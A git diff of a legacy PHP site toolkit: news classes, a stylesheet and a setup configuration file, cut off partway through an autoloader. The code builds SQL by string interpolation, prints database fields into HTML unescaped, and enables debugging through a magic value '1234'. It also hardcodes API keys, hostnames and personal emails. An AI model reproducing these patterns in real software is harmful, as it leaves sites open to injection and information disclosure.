+               $this->start_db();
+               $this->get_main(1) ;
+               $this->get_sections(1) ;
+               $this->get_main(2) ;
+               $this->get_sections(2) ;
+       }
+    // }}}
+    // {{{ start_db()
+       function start_db()
+       {
+        try {
+            $dsn = 'pgsql:' . CONN2_STR;
+            // Keep the fetch mode set to FETCH_BOTH, we use
+            // associative arrays throughout our apps, but some PEAR lib
+            // apps require numerical indicies to work correctly.
+            // i.e. (DataGrids working w/ PDO's)
+            $driverOptions = array(
+                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
+           ) ;
+            $dbh = new PDO($dsn, null, null, $driverOptions);
+            $dbh->setAttribute(PDO::ATTR_ERRMODE,
+                PDO::ERRMODE_EXCEPTION);
+            $dbh->query("SET DATESTYLE TO 'SQL,US'");
+            $this->dbh = $dbh;
+        } catch (PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+       }
+    // }}}
+    // {{{ get_main()
+       /**
+        * get_main 
+        * 
+        * @access public
+        * @return string
+        */
+       function get_main($catid) 
+       {
+        $query = "
+        SELECT * 
+          FROM search_news 
+         WHERE status = 'current' 
+           AND catid = {$catid}";
+        try {
+            $data = $this->dbh->query($query)->fetchAll();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+               if ($data) {
+                       if ($catid == 1) {
+                               $main =& new news($data[0]) ;
+                               $this->news_id = $data[0]['id'];
+                       } else {
+                               $tips =& new news($data[0]) ;
+                               $this->news_id = $data[0]['id'];
+                       }
+               }
+               if ($catid == 1) {
+                       $this->main =& $main;
+                       return $this->main;
+               } else {
+                       $this->tips =& $tips;
+                       return $this->tips;
+               }
+       }
+    // }}}
+    // {{{ get_sections()
+       /**
+        * get_sections 
+        * 
+        * @access public
+        * @return string
+        */
+       function get_sections($catid) 
+       {
+        $query = "
+          SELECT * 
+            FROM search_news_block 
+           WHERE news_id = ".$this->news_id." 
+        ORDER BY pos;";
+        try {
+            $data = $this->dbh->query($query)->fetchAll();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+               if ($data) {
+                       foreach ($data as $row) {
+                               if ($catid == 1) {
+                                       $sections[] =& new section($row) ;
+                               } else {
+                                       $tip_sections[] =& new section($row) ;
+                               }
+                       }
+               }
+               if ($catid == 1) {
+                       $this->sections =& $sections;
+                       return $this->sections;
+               } else
+               {
+                       $this->tip_sections =& $tip_sections;
+                       return $this->tip_sections;
+               }
+       }
+    // }}}
+}
+/**
+ * news 
+ * 
+ * @package 
+ * @version $id$
+ * @copyright 2006 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com> 
+ * @license 
+ */
+class news {
+    // {{{ Class Properties
+       /**
+        * news_id 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $news_id;
+       /**
+        * title 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $title;
+       /**
+        * header 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $header;
+       /**
+        * description 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $description;
+       /**
+        * image 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $image;
+       /**
+        * data 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $data;
+       /**
+        * vol 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $vol;
+       /**
+        * issue 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $issue;
+       /**
+        * pr_date 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $pr_date;
+    // }}}
+    // {{{ news()
+       /**
+        * news 
+        * 
+        * @param mixed $obj 
+        * @access public
+        * @return string
+        */
+       function news(&$obj) 
+       {
+               $this->data =& $obj;
+               $this->set_fields();
+       }
+    // }}}
+    // {{{ set_fields()
+       /**
+        * set_fields 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_fields()
+       {
+               if (is_array($this->data) ) {
+                       $field_name = array_keys($this->data) ;
+                       foreach ($field_name as $field) {
+                               if ($field) {
+                                       $func_name = 'set_'.$field;
+                                       $this->$func_name();
+                               }
+                       }
+               }
+               return false;
+       }
+    // }}}
+    // {{{ set_id()
+       /**
+        * set_id 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_id()
+       {
+               $this->id = ($this->data['id'])  ? $this->data['id'] : NULL;
+       }
+    // }}}
+    // {{{ set_pos()
+       /**
+        * set_pos 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_pos()
+       {
+               $this->news_pos = ($this->data['pos'])  ? $this->data['pos'] : NULL;
+       }
+    // }}}
+    // {{{ set_news_id()
+       /**
+        * set_news_id 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_news_id()
+       {
+               $this->news_id = ($this->data['news_id'])  ? $this->data['news_id'] : NULL;
+       }
+    // }}}
+    // {{{ set_catid()
+       /**
+        * set_catid 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_catid()
+       {
+               $this->news_catid = ($this->data['catid'])  ? $this->data['catid'] : NULL;
+       }
+    // }}}
+    // {{{ set_status()
+       /**
+        * set_status 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_status()
+       {
+               $this->status = ($this->data['status'])  ? $this->data['status'] : NULL;
+       }
+    // }}}
+    // {{{ set_vol()
+       /**
+        * set_vol 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_vol()
+       {
+               $this->vol = ($this->data['vol'])  ? $this->data['vol'] : NULL;
+       }
+    // }}}
+    // {{{ set_issue()
+       /**
+        * set_issue 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_issue()
+       {
+               $this->issue = ($this->data['issue'])  ? $this->data['issue'] : NULL;
+       }
+    // }}}
+    // {{{ set_pr_date()
+       /**
+        * set_pr_date 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_pr_date()
+       {
+               $this->pr_date = ($this->data['pr_date'])  ? $this->data['pr_date'] : NULL;
+       }
+    // }}}
+    // {{{ set_image()
+       /**
+        * set_image 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_image()
+       {
+               $this->image = ($this->data['image'] != '')  ? '<img src="'.RESIZED.$this->data["image"].'" alt="">':NULL;
+       }
+    // }}}
+    // {{{ set_title()
+       /**
+        * set_title 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_title()
+       {
+               $this->title = ($this->data['title'] != '')  ? '<h1>'.$this->data["title"].'</h1>':NULL;
+       }
+    // }}}
+    // {{{ set_header()
+       /**
+        * set_header 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_header()
+       {
+               $this->header = ($this->data['header'] != '')  ? '<h2>'.$this->data["header"].'</h2>':NULL;
+       }
+    // }}}
+    // {{{ set_description()
+       /**
+        * set_description 
+        * 
+        * @access public
+        * @return string
+        */
+       function set_description()
+       {
+               $this->description = ($this->data['description'] != '')  ? '<p>'.nl2br($this->data["description"]).'</p>':NULL;
+       }
+    // }}}
+}
+/**
+ * section 
+ * 
+ * @uses news
+ * @package 
+ * @version $id$
+ * @copyright 2006 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com> 
+ * @license 
+ */
+class section extends news {
+       /**
+        * section 
+        * 
+        * @param mixed $obj 
+        * @access public
+        * @return string
+        */
+       function section(&$obj) 
+       {
+               $this->data =& $obj;
+               $this->set_fields();
+       }
+}
+?>
diff --git a/searchengine/styles.css b/searchengine/styles.css
new file mode 100755 (executable)
index 0000000..cefda6c
--- /dev/null
@@ -0,0 +1,58 @@
+/* General */
+img {border: 0;}
+* {margin: 0; padding: 0;}
+a:link {color: black;}
+a:visited {color: #333;}
+a:hover {color: #1d58a5;}
+a:active {color: black;}
+/* Layout */
+body {
+       font-family: arial, sans-serif;
+       font-size: 12px;
+       }
+#wrapper {
+       width: 720px;
+       background: url(images/bg.gif) repeat-y;
+       }
+#top {
+       background: url(images/top.gif) no-repeat;
+       height: 186px;
+       }
+#top #top-date {
+       position: relative;
+       /* top: 7px;
+       left: 27px; */
+       margin: 7px 0 0 27px;
+       }
+
+#top a {display: block; font-weight: bold; margin-top: 2px;}
+
+/* Left Area */
+#tip {
+       float: left;
+       margin-left: 10px;
+       padding-top: 2px;
+       width: 130px;
+       }
+.tip-item {
+       padding-top: 40px;
+       background: url(images/tip-icon.gif) no-repeat;
+       }
+.tip-item h2 {
+       font-size: 14px;
+       color: #cd6a21;
+       }
+.tip-item p {margin: 0 0 1em 0; color: #374d93; font-weight: bold;}
+
+/* Content Area */
+
+#content {margin-left: 200px; margin-top: -30px;}
+#content .content-item {margin-bottom: 20px; clear: right;}
+#content .content-item h2 {
+       color: #354b92;
+       font-size: 15px;
+       }
+#content .content-item img {float: right; margin: 0 0 10px 10px;}
+#content .content-item p {margin: 0 0 1em 0;}  
+
+#copyright {margin: 10px 0 10px 175px; font-size: 11px; }
diff --git a/setup.phtml b/setup.phtml
new file mode 100644 (file)
index 0000000..a6e5923
--- /dev/null
@@ -0,0 +1,1279 @@
+<?php
+
+/**
+ * setup.phtml
+ *
+ * this file contains many of the application defines needed.
+ * once the file is initially setup and checked as far as the defines go
+ * you'll need to set the define of CUSTOMER_SETUP_COMPLETE to true
+ * the site won't run unless it is set.
+ *
+ * PHP version 5
+ *
+ * @category  Toolbox
+ * @package   Toolbox
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: setup.phtml,v 1.14 2012/03/28 17:02:41 matrix Exp $
+ * @link      <>
+ */
+
+
+if (!isset($SITEINFO)) {
+       if (!isset($DEBUG)) {
+               $DEBUG = (isset($mysecretcode) && $mysecretcode == 1234);
+       }
+       /**
+        * Home page id of site
+        * Change this if the home page is other than id = 1
+        */
+       define('HOME_ID', 1);
+       $PAGES['default'] = 'index';
+       /**
+        * Members login page catid
+        */
+       define('MEMBERS_CATEGORY', '45');
+       /**
+        * Members only category catid
+        * This is usually a sub-category of the MEMBERS_CATEGORY page
+        */
+       define('MEMBERS_ONLY_CATEGORY', '48');
+       /**
+        * Toolbox catid that corresponds to the
+        * edit profile page in the members only area
+        */
+       define('MEMBERS_PROFILE_FORM_PAGE', 101);
+       /**
+        * Toolbox catid that corresponds to the
+        * coupons page in the members only area
+        */
+       define('MEMBERS_COUPONS_PAGE', 102);
+       /**
+        * Toolbox catid that corresponds to the
+        * reports page in the members only area
+        */
+       define('MEMBERS_REPORTS_PAGE', 103);
+    /**
+     * Boolean true or false to setup a wish list in session
+     * for  the businesses/members
+     */
+    define('MEMBER_SESSION_LIST', true);
+    /**
+     * The id of the page for the planner output
+     */
+    define('MEMBER_SESSION_PAGE', 105);
+    /**
+     * The id of the page for the create account form
+     */
+    define('MEMBER_SESSION_FORM', 106);
+
+/**
+ * Description for define
+ */
+       define('MEMBERS_LIST_RAND', false);
+       $PAGES[1] = 'index';
+       //$DEBUG = TRUE;
+       /*
+        *      Customer Setup
+        */
+
+    /**
+     * Used for the Coupon application n/a
+     */
+    define("SITE_URL","http://www.gaslightmedia.com");
+
+    /**
+     * Used in email so don't use apostrophes in this
+     */
+    define("SITENAME","Gaslight Media");
+
+    /**
+     * maybe a shorter vrs of sitename if needed
+     */
+       define('SITENAME_SHORT', SITENAME);
+       /**
+        * Same as the SITENAME constant
+        */
+       define('SITE_NAME', SITENAME);
+       /**
+        * DB library type
+        */
+       define('DB_TYPE', 'postgres');
+       /**
+        * Default error message
+        */
+       define('DB_ERROR_MSG', 'An error has occured with the database!');
+       /**
+        * Whether or not to use many to many relations
+        */
+       define('MULTIPLE_CAT', 0);
+       /**
+        * If set to 1 or true, will lock the categories
+        */
+       define('CAT_LOCK', 0);
+       /**
+        * Default per page number
+        */
+       define('ENTRIES_PER_PAGE', 10);
+       /**
+        * @depreciated
+        */
+       define('HTML_HELP_CODE', 1);
+       /**
+        * Used in the email out for contact DB
+        */
+       define('PRODUCTION_MODE', 'ON');
+       /**
+        * Turn ON for html emails
+        */
+       define('HTML_EMAIL', 'ON');
+       /**
+        * Turn on if the bus_category table has active boolean field
+        */
+       define('ACTIVE_FLAG', 1);
+       /**
+        * Used for the toolbox deluxe vs.
+        */
+       define('DELUXE_TOOLBOX', 1);
+       /**
+        * Whether to use SEO optimized URI's
+        *
+        * requires .htacces enabled
+        */
+       define('SEO_URL', 1);
+       /**
+        * Turn on/off short url
+        *
+        * requires .htacces enabled
+        */
+    define('SHORT_URLS', 1);
+       /**
+    * Weather to generate sitemap
+        */
+       define('SITEMAP_GENERATOR', false);
+       /**
+     * Page for the event calendar
+        */
+       define('EVENT_PAGE', 12);
+       /**
+     * Site has home page Events?
+        */
+       define('HOME_EVENTS', 0);
+       /**
+     * Site has home page Headlines?
+        */
+       define('HOME_HEADLINES', 0);
+       /**
+     * Site has home page news Press/newsletter?
+        */
+       define('HOME_NEWS', 0);
+       /**
+     * Site has banner ad application?
+        */
+       define('BANNERS', 0);
+       /**
+     * Site has photo gallery?
+        */
+       define('PHOTO_GALLERY', 0);
+       /**
+     * Site has google search api key?
+        */
+       define('GOOGLE_SEARCH', 0);
+       /**
+     * Grab weather feed for site?
+        */
+       define('WEATHER', 0);
+       /**
+     * Member Database Installed?
+        */
+       define('MEMBERS_DB', 0);
+       /**
+        * Sets the first year available in the year select lists in
+        * the Admin > Contacts > Report Builder
+        */
+       define('CONTACTS_FIRST_YEAR', 1999);
+
+/**
+ * Description for define
+ */
+       define('HOME_PAGE_EVENTS', 0);
+
+       /**
+        *      DO NOT EDIT THIS SECTION
+        */
+       // Find where this file is located
+       $BASE_PATH   = dirname( __FILE__ );
+       $php_version = phpversion();
+       // If php5 or above
+       if (version_compare($php_version, '5.0.0', '>')) {
+               $CALLED_FROM_DIR = substr(dirname($_SERVER['SCRIPT_FILENAME']), strlen($BASE_PATH));
+               define('GLM_HOST_ID', $_ENV['GLM_HOST_ID']);
+
+/**
+ * Description for define
+ */
+               define('PHP5', true);
+       } else {
+               $CALLED_FROM_DIR = substr(dirname($HTTP_SERVER_VARS['PATH_TRANSLATED']), strlen($BASE_PATH));
+
+/**
+ * Description for define
+ */
+               define('GLM_HOST_ID', $_SERVER['GLM_HOST_ID']);
+
+/**
+ * Description for define
+ */
+               define('PHP5', false);
+       }
+
+       if (($x = strlen($CALLED_FROM_DIR)) > 0) {
+               $base_url = $_SERVER['HTTP_HOST'] . substr(dirname($_SERVER['SCRIPT_NAME']), 0, -strlen($CALLED_FROM_DIR));
+       } else {
+               $script_name_dir = dirname($_SERVER['SCRIPT_NAME']);
+               if ($script_name_dir == '/') {
+                       $script_name_dir = '';
+               }
+               $base_url = $_SERVER['HTTP_HOST'] . $script_name_dir;
+       }
+       $BASE_URL = "http://$base_url";
+       // Indicate that this file has been referenced
+       $SITEINFO = true;
+
+       //      Dynamic Configuration:
+       //      Parameters that DO change based on location
+       switch ($_ENV['GLM_HOST_ID']) {
+       case 'DEVELOPMENT' :
+               /**
+                * API key for google maps
+                */
+               define('GMAPS_API', 'ABQIAAAANX0yQZ2OteLu_zqbwdfUuRQsHGkczIjpqPY1-dTKNoaiGtfPJBTloI-YH7fzUV-bsMLwcy2Yjyti7A');
+               /**
+                * Path to the common GLM application repository
+                */
+               define('GLM_APP_BASE', '/var/www/server/app.gaslightmedia.com/');
+               /**
+                * URI to the common GLM application repository
+                */
+               define('GLM_APP_BASE_URL','http://devsys2.gaslightmedia.com/app.gaslightmedia.com/');
+               /**
+                * Show all errors and notices
+                */
+               error_reporting(E_ALL ^ E_NOTICE);
+               /**
+                * Print all errors to the page so we can see what went wrong
+                */
+               ini_set('display_errors', '1');
+               // Use the $BASE_URL for secure URL on Devsys
+               $BASE_SECURE_URL = $BASE_URL;
+               /**
+                * URI used for the secure site
+                */
+               define('BASE_SECURE_URL', "$BASE_SECURE_URL/");
+               /**
+                * Database Connection String
+                */
+               define('CONN_STR', 'host=devsys2 user=nobody dbname=gaslightmedia3');
+               /**
+                * Database Connection String
+                */
+               define('CONN2_STR', 'host=devsys2 user=nobody dbname=glmportfolio');
+               /**
+                * DSN Connection String
+                */
+               define('DSN', 'pgsql://nobody@devsys2/gaslightmedia3');
+               /**
+                * Used for error reporting
+                *
+                * When in development mode, more info is displayed if errors occur.
+                */
+               define('DEVELOPMENT', true);
+               /**
+                * Site owners email address
+                */
+               define('OWNER_EMAIL', 'steve@gaslightmedia.com');
+               /**
+                * To address for Toolkit/Contacts/Payments.php.
+                */
+               define('PAYMENT_FORM_EMAIL', 'steve@gaslightmedia.com');
+               /**
+                * From header for admin/Contact mailout.
+                */
+               define('FROM_NEWS_EMAIL', 'jamie.kahgee@gmail.com');
+               /**
+                * From headers for admin/MContact
+                */
+               define('FROM_MEMBER_NEWS_EMAIL', 'jamie.kahgee@gmail.com');
+               /**
+                * Reply header for admin/MContact
+                */
+               define('REPLY_MEMBER_NEWS_EMAIL', 'jamie.kahgee@gmail.com');
+               /**
+                * which email address should the notifications go to when a member
+                * listing updates thier record?
+                *
+                * If you set this to false, no emails will be sent when updates occur.
+                */
+               define('MEMBER_RECORD_UPDATES_ADVISOR', 'jamie.kahgee@gmail.com');
+               /**
+                * in admin/Contact mailout.phtml file
+                * Reply-To: header
+                */
+               define('REPLY_TO', 'jamie.kahgee@gmail.com');
+        /**
+                * Type of Log subclass to use
+                */
+               define('ERROR_LOG_TYPE', 'error_log');
+               /**
+                * Constant of log store to use
+                */
+               define('ERROR_LOG_NAME', PEAR_LOG_TYPE_FILE);
+               /**
+                * Identity reported to the log system
+                */
+               define('ERROR_LOG_IDENT', '');
+               /**
+                * Log messages up to and including this level
+                *
+                * HIGHEST PRIORITY
+                * +-------------------------------------------+
+                * |PEAR_LOG_EMERG   |System is unusable       |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_ALERT   |Immediate action required|
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_CRIT    |Critical conditions      |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_ERR     |Error conditions         |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_WARNING |Warning conditions       |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_NOTICE  |Normal but significant   |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_INFO    |Informational            |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_DEBUG   |Debug-level messages     |
+                * +-------------------------------------------+
+                * LOWEST PRIORITY
+                */
+               define('ERROR_LOG_LEVEL', PEAR_LOG_WARNING);
+               /**
+                * additional configuration for ERROR_LOG_TYPE subclass
+                */
+               $ERROR_LOG_CONF = array(
+                       'destination'   => "{$BASE_PATH}/php.error",
+                       'error_prepend' => '<font color="#ff0000"><tt>',
+                       'error_append'  => '</tt></font>',
+                       'lineFormat'    => "%{timestamp}: " .
+                                                          "PRIORITY: %{priority} " .
+                                                          "MESSAGE: %{message}\n"
+               );
+               break;
+
+       case "PRODUCTION":
+               /**
+                * API key for google maps
+                */
+               define('GMAPS_API', 'ABQIAAAANX0yQZ2OteLu_zqbwdfUuRT9PY8-4c5xPr71Q7CZ_E9OOktIvhS7e6r_9XaLW5jy3O84t-dz7SK21Q');
+               /**
+                * Path to the common GLM application repository
+                */
+               define('GLM_APP_BASE', '/var/www/server/app.gaslightmedia.com/');
+               /**
+                * URI to the common GLM application repository
+                */
+               define('GLM_APP_BASE_URL', 'http://app.gaslightmedia.com/');
+               /**
+                * Turn off all error reporting
+                */
+               error_reporting(0);
+               /**
+                * Don't print errors to the screen as part of output
+                */
+               ini_set('display_errors', '0');
+
+               $BASE_SECURE_URL = "https://ws3.gaslightmedia.com/www";
+               /**
+                * Url used for the secure site
+                *
+                * For some sites it is necessary to change BASE_URL when in secure mode
+                */
+               define('BASE_SECURE_URL', "$BASE_SECURE_URL/");
+               // This needs to be set to the real url ie. http://www.upnorth.net
+               if ($_SERVER['HTTPS'] == 'on' ) {
+                       $BASE_URL = "http://www.gaslightmedia.com";
+               }
+               /**
+                * Database Connection String
+                */
+               define('CONN_STR', 'host=ds3 user=nobody dbname=gaslightmedia');
+               /**
+                * Database Connection String
+                */
+               define('CONN2_STR', 'host=ds3 user=nobody dbname=glmportfolio');
+               /**
+                * DSN Connection String
+                */
+               define('DSN', "pgsql://nobody@ds3/gaslightmedia");
+               /**
+                * Whether the site is in Test Mode or not
+                */
+               define('TEST_MODE',     false);
+               /**
+                * Used for error reporting
+                *
+                * When in development mode, more info is displayed if errors occur.
+                */
+               define('DEVELOPMENT', false);
+               /**
+                * Site owners email address
+                */
+               define('OWNER_EMAIL', 'info@gaslightmedia.com');
+               /**
+                * To address for Toolkit/Contacts/Payments.php.
+                */
+               define('PAYMENT_FORM_EMAIL', 'billing@gaslightmedia.com');
+               /**
+                * From header for admin/Contact mailout.
+                *
+                * The networking department assigns an alias for the
+                * "From:"newsletter@xxx.com address that forwards to a
+                * "xxx_bounce@harbor.gaslightmedia.com" address.
+                *
+                * xxx being domain of website.
+                */
+               define('FROM_NEWS_EMAIL', 'newsletter@gaslightmedia.com');
+               /**
+                * From headers for admin/MContact
+                *
+                * The networking department assigns an alias for the
+                * "From:"newsletter@xxx.com address that forwards to a
+                * "xxx_bounce@harbor.gaslightmedia.com" address.
+                *
+                * xxx being domain of website.
+                */
+               define('FROM_MEMBER_NEWS_EMAIL', 'newsletter@gaslightmedia.com');
+               /**
+                * Reply header for admin/MContact
+                */
+               define('REPLY_MEMBER_NEWS_EMAIL', OWNER_EMAIL);
+               /**
+                * which email address should the notifications go to when a member
+                * listing updates thier record?
+                *
+                * If you set this to false, no emails will be sent when updates occur.
+                */
+               define('MEMBER_RECORD_UPDATES_ADVISOR', OWNER_EMAIL);
+               /**
+                * in admin/Contact mailout.phtml file
+                * Reply-To: header
+                */
+               define('REPLY_TO', 'info@gaslightmedia.com');
+        /**
+                * Type of Log subclass to use
+                */
+               define('ERROR_LOG_TYPE', 'error_log');
+               /**
+                * Constant of log store to use
+                */
+               define('ERROR_LOG_NAME', PEAR_LOG_TYPE_FILE);
+               /**
+                * Identity reported to the log system
+                */
+               define('ERROR_LOG_IDENT', 'Production');
+               /**
+                * Log messages up to and including this level
+                *
+                * HIGHEST PRIORITY
+                * +-------------------------------------------+
+                * |PEAR_LOG_EMERG   |System is unusable       |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_ALERT   |Immediate action required|
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_CRIT    |Critical conditions      |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_ERR     |Error conditions         |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_WARNING |Warning conditions       |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_NOTICE  |Normal but significant   |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_INFO    |Informational            |
+                * +-----------------+-------------------------+
+                * |PEAR_LOG_DEBUG   |Debug-level messages     |
+                * +-------------------------------------------+
+                * LOWEST PRIORITY
+                */
+               define('ERROR_LOG_LEVEL', PEAR_LOG_WARNING);
+               /**
+                * additional configuration for ERROR_LOG_TYPE subclass
+                */
+               $ERROR_LOG_CONF = array(
+                       'destination' => '/var/www/log/' . SERVER_DIRECTORY . '/php.error',
+                       'lineFormat'  => "%{timestamp}: " .
+                                                        "PRIORITY: %{priority} " .
+                                                        "MESSAGE: %{message}\n"
+               );
+               break;
+
+       case 'STEVE' :
+               /**
+                * API key for google maps
+                */
+               define('GMAPS_API', 'ABQIAAAANX0yQZ2OteLu_zqbwdfUuRQsHGkczIjpqPY1-dTKNoaiGtfPJBTloI-YH7fzUV-bsMLwcy2Yjyti7A');
+               /**
+                * Path to the common GLM application repository
+                */
+               define('GLM_APP_BASE', '/var/www/server/app.gaslightmedia.com/');
+               /**
+                * URI to the common GLM application repository
+                */
+               define('GLM_APP_BASE_URL','http://localhost/app.gaslightmedia.com/');
+               /**
+                * Show all errors and notices
+                */
+               error_reporting(E_ALL ^ E_NOTICE);
+               /**
+                * Print all errors to the page so we can see what went wrong
+                */
+               ini_set('display_errors', '1');
+               // Use the $BASE_URL for secure URL on Devsys
+               $BASE_SECURE_URL = $BASE_URL;
+               /**
+                * URI used for the secure site
+                */
+               define('BASE_SECURE_URL', "$BASE_SECURE_URL/");
+               /**
+                * Database Connection String
+                */
+               define('CONN_STR', 'user=nobody dbname=gaslightmedia');
+               /**
+                * Database Connection String
+                */
+               define('CONN2_STR', 'user=nobody dbname=glmportfolio');
+               /**
+                * DSN Connection String
+                */
+               define('DSN', 'pgsql://nobody@/gaslightmedia3');
+               /**
+                * Used for error reporting
+                *
+                * When in development mode, more info is displayed if errors occur.
+                */
+               define('DEVELOPMENT', true);
+               /**
+                * Site owners email address
+                */
+               define('OWNER_EMAIL', 'steve@localhost');
+               /**
+                * From header for admin/Contact mailout.
+                */
+               define('FROM_NEWS_EMAIL', 'steve@localhost');
+               /**
+                * From headers for admin/MContact
+                */
+               define('FROM_MEMBER_NEWS_EMAIL', 'steve@localhost');
+               /**
+                * Reply header for admin/MContact
+                */
+               define('REPLY_MEMBER_NEWS_EMAIL', 'steve@localhost');
+               define('PAYMENT_FORM_EMAIL', 'steve@localhost');
+               /**
+                * which email address should the notifications go to when a member
+                * listing updates thier record?
+                *
+                * If you set this to false, no emails will be sent when updates occur.
+                */
+               define('MEMBER_RECORD_UPDATES_ADVISOR', 'steve@localhost');
+               /**
+                * in admin/Contact mailout.phtml file
+                * Reply-To: header
+                */
+               define('REPLY_TO', 'steve@localhost');
+        define('ERROR_LOG_TYPE', 'error_log');
+               define('ERROR_LOG_NAME', '');
+               define('ERROR_LOG_IDENT', '');
+               define('ERROR_LOG_LEVEL', PEAR_LOG_WARNING);
+               $ERROR_LOG_CONF = array(
+                       'destination'   => "{$BASE_PATH}/php.error",
+                       'error_prepend' => '<font color="#ff0000"><tt>',
+                       'error_append'  => '</tt></font>',
+                       'lineFormat'    => "%{timestamp}: " .
+                                                          "PRIORITY: %{priority} " .
+                                                          "FILE: %{file} " .
+                                                          "LINE: %{line} " .
+                                                          "MESSAGE: %{message}\n"
+               );
+               break;
+
+       default:        // There should be no need for any settings here
+               $error = 'Your request could not be completed at this time, please try again later!';
+               die("<p>$error</p>");
+               break;
+       }
+
+       /**
+        * URI used for the root of the site
+        */
+       define('BASE_URL', "$BASE_URL/");
+       /**
+        * Another way of calling the BASE_URL constant
+        */
+       define('URL_BASE', "$BASE_URL/");
+       /**
+        * root directory path of site in filesystem
+        */
+       define('BASE_PATH', "$BASE_PATH/");
+       /**
+        * Another way of calling the BASE_PATH constant
+        */
+       define('BASE', "$BASE_PATH/");
+
+       //      explode the current include_path by forward slashes (/),
+       //      colons (:),     or periods (.)
+       $path = preg_split('(\/|:|\.)', get_include_path());
+       if (!in_array(GLM_APP_BASE . 'glmPEAR', $path)) {
+               set_include_path(
+                       GLM_APP_BASE . 'glmPEAR' .  PATH_SEPARATOR . get_include_path()
+               );
+       }
+
+       if (!in_array(GLM_APP_BASE . 'glmZend', $path)) {
+               set_include_path(
+                       GLM_APP_BASE . 'glmZend/1.10.2/library' .  PATH_SEPARATOR . get_include_path()
+               );
+       }
+
+       //      Include the path to the Toolkit directory.
+       //      This is an Xdebug fix - first classes don't load properly w/ __autoload
+       if (!in_array(BASE . 'Toolkit', $path)) {
+               set_include_path(get_include_path() . PATH_SEPARATOR .
+                               BASE . 'Toolkit');
+       }
+
+       $secureUrl
+               = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')
+               ? BASE_SECURE_URL
+               : BASE_URL;
+
+       $forceCompile = (DEVELOPMENT || $_SERVER['HTTPS'] == 'on');
+
+       $flexyOptions    = array(
+               'templateDir'  => BASE . 'templates',
+               'compileDir'   => BASE . 'templates/compiled',
+               'forceCompile' => 'true',
+               'url_rewrite'  => "baseurl/::".BASE_URL.",basesecureurl/::$secureUrl,glmappbaseurl/::" . GLM_APP_BASE_URL,
+               'allowPHP'     => true,
+       );
+
+       $cacheOptions = array(
+               'cacheDir'                       => BASE . 'cache',
+               'writeControl'           => true,
+        'lifeTime'           => (DEVELOPMENT) ? 0 : null,
+               'readControl'            => true,
+               'fileNameProtection' => false,
+               'readControlType'        => 'md5',
+       );
+
+    // {{{ __autoload()
+
+    /**
+     * autoload function that aids in calling class files only when needed
+     *
+     * @param string $className Name of class
+     *
+     * @return void
+     */
+       function __autoload($className)
+       {
+               if ((preg_match('/Flexy.+/', $className) === 0) ||
+                       $className == 'Toolkit_FlexyDataGridBuilder') {
+                       switch ($className) {
+                       case 'GLM_DB' :
+                               require_once BASE . 'classes/class_db.inc';
+                               break;
+
+                       case 'GLM_TOOLBOX' :
+                               require_once BASE . 'classes/class_toolbox.inc';
+                               break;
+
+                       case 'GLM_TEMPLATE' :
+                               require_once BASE . 'classes/class_template.inc';
+                               break;
+
+                       case 'GLM_DB' :
+                               require_once BASE . 'classes/class_db.inc';
+                               break;
+
+                       case 'BANNER_ADS' :
+                               require_once BASE . 'classes/class_banners.inc';
+                               break;
+
+                       case 'GLM_EVENTS' :
+                               require_once BASE . 'classes/class_events.inc';
+                               break;
+
+                       case 'GLM_COUPON' :
+                               require_once BASE . 'classes/class_coupon.inc';
+                               break;
+
+                       case 'contact_form' :
+                               require_once BASE . 'classes/class_contact_form.inc';
+                               break;
+
+                       case 'guide' :
+                               require_once BASE . 'classes/class_visitor_guide_form.inc';
+                               break;
+
+                       case 'event_form' :
+                               require_once BASE . 'classes/class_event_form.inc';
+                               break;
+
+                       case 'portfolio' :
+                               require_once BASE . 'classes/class_portfolio.inc';
+                               break;
+
+                       case 'html_quickform_rule_phone' :
+                       case 'html_quickform_rule_email' :
+                       case 'html_quickform_rule_zip' :
+                       case 'html_quickform_rule_state' :
+                       case 'html_quickform_rule_banwords' :
+                       case 'html_quickform_rule_date' :
+                       case 'html_quickform_rule_image' :
+                       case 'html_quickform_rule_image2' :
+                       case 'html_quickform_rule_memberimage' :
+                       case 'html_quickform_rule_memberpackage' :
